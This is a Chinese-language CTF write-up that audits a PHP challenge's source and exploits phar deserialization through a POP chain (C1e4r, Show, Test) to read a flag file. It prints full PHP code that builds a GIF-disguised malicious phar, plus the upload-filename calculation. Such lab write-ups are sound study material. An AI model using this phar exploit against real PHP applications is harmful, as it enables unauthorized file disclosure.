算是比较简单的pop链构造。
phar 触发反序列化。
代码审计
进入环境:点击查看文件:

看到url /file.php?file=
猜测有任意文件下载。输入/file.php?file=file.php得到源码:
-
- header("content-type:text/html;charset=utf-8");
- include 'function.php';
- include 'class.php';
- ini_set('open_basedir','/var/www/html/');
- $file = $_GET["file"] ? $_GET['file'] : "";
- if(empty($file)) {
- echo "
There is no file to show!"
; - }
- $show = new Show();
- if(file_exists($file)) {
- $show->source = $file;
- $show->_show();
- } else if (!empty($file)){
- die('file doesn\'t exists.');
- }
- ?>
既然包含了 function.php 和class.php 那就下载下来审计一下
class.php
- class C1e4r
- {
- public $test;
- public $str;
- public function __construct($name)
- {
- $this->str = $name;
- }
- public function __destruct()
- {
- $this->test = $this->str;
- echo $this->test;
- }
- }
-
- class Show
- {
- public $source;
- public $str;
- public function __construct($file)
- {
- $this->source = $file; //$this->source = phar://phar.jpg
- echo $this->source;
- }
- public function __toString()
- {
- $content = $this->str['str']->source;
- return $content;
- }
- public function __set($key,$value)
- {
- $this->$key = $value;
- }
- public function _show()
- {
- if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
- die('hacker!');
- } else {
- highlight_file($this->source);
- }
-
- }
- public function __wakeup()
- {
- if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
- echo "hacker~";
- $this->source = "index.php";
- }
- }
- }
- class Test
- {
- public $file;
- public $params;
- public function __construct()
- {
- $this->params = array();
- }
- public function __get($key)
- {
- return $this->get($key);
- }
- public function get($key)
- {
- if(isset($this->params[$key])) {
- $value = $this->params[$key];
- } else {
- $value = "index.php";
- }
- return $this->file_get($value);
- }
- public function file_get($value)
- {
- $text = base64_encode(file_get_contents($value));
- return $text;
- }
- }
function.php
- //show_source(__FILE__);
- include "base.php";
- header("Content-type: text/html;charset=utf-8");
- error_reporting(0);
- function upload_file_do() {
- global $_FILES;
- $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
- //mkdir("upload",0777);
- if(file_exists("upload/" . $filename)) {
- unlink($filename);
- }
- move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
- echo '';
- }
- function upload_file() {
- global $_FILES;
- if(upload_file_check()) {
- upload_file_do();
- }
- }
- function upload_file_check() {
- global $_FILES;
- $allowed_types = array("gif","jpeg","jpg","png");
- $temp = explode(".",$_FILES["file"]["name"]);
- $extension = end($temp);
- if(empty($extension)) {
- //echo "
请选择上传的文件:" . "";
- }
- else{
- if(in_array($extension,$allowed_types)) {
- return true;
- }
- else {
- echo '';
- return false;
- }
- }
- }
- ?>
upload_file.php
- //upload_file.php
- include 'function.php';
- upload_file();
- ?>
看到 function.php 包含了base.php 也下载下来,原来是首页源码,但是有flag in flag.php。
试着下载flag.php(肯定没那么简单),果然 不行
老老实实审计一下 ,主代码是 class.php, 一般来审计 反序列化的题都要先看出口,也就是能够利用的点。 我们看到class.php的下面有个file_get_contents()函数:

而这个函数是file_get定义的。 看看哪里调用了file_get:
这里 是get 函数 调用了file_get , 这里传入了一个$key 把他当作 params的值。传给file_get
再继续往上看,看看谁调用了 get。

这里 有个 魔术方法 __get 调用了get。
那么如何触发 魔术方法 __get 呢?
在 php 面向对象编程中,类的成员属性被设定为 private 后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法 __get()。
也就是说 如果 Test 类中 没有这个属性或者设为private 会触发这个方法。那么看看上面,哪里能够触发 __get,看到Class 类中的__toString方法:

如果 这里的 $this ->str['str'] 是Test 类,那么Test 类中没有 source这个属性,就会触发__get 方法。
那么又该怎么触发__toString方法呢? __toString函数触发条件:
__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
所以看到 C1e4r 类中的 __destruct()

这里的 str 赋值给了 test ,然后 echo 了 这个test ,如果 str 是一个类对象,那么echo 一个类对象 就会触发了 __toString 方法。
那么整理一下这个pop 链就是:
__destrust -> echo 类对象 => __toString() ->$Test->source => __get() =>get =>file_get =>flag
生成phar代码:
-
- class C1e4r{
- public $test;
- public $str;
- }
-
- class Show
- {
- public $source;
- public $str;
- }
-
- class Test
- {
- public $file;
- public $params;
-
- }
- $cle4r = new C1e4r();
- $show = new Show();
- $test = new Test();
- $test->params['source']='/var/www/html/f1ag.php';
- $show->str['str']=$test;
- $cle4r->str=$show;
-
- $phar = new Phar("phar.phar");
- $phar->startBuffering();
- $phar->setStub("GIF89a");
- $phar->setMetadata($cle4r);
- $phar->addFromString("exp.txt", "test");
- $phar->stopBuffering();
-
-
-
- ?>
这里生成好上传。 抓包后缀 改成 jpg 后缀。注意这里:

上传的文件名字 和 ip 地址 进行了 md5 加密。所以生成我们上传应该访问的文件名为:
- $b="phar.jpg";
- $a=md5($b."你题目的ip地址").".jpg";
- echo $a;
上传之后读取:

base64解密即是flag
phar 和 反序列化还是要多刷下,毕竟逻辑感还是很强的。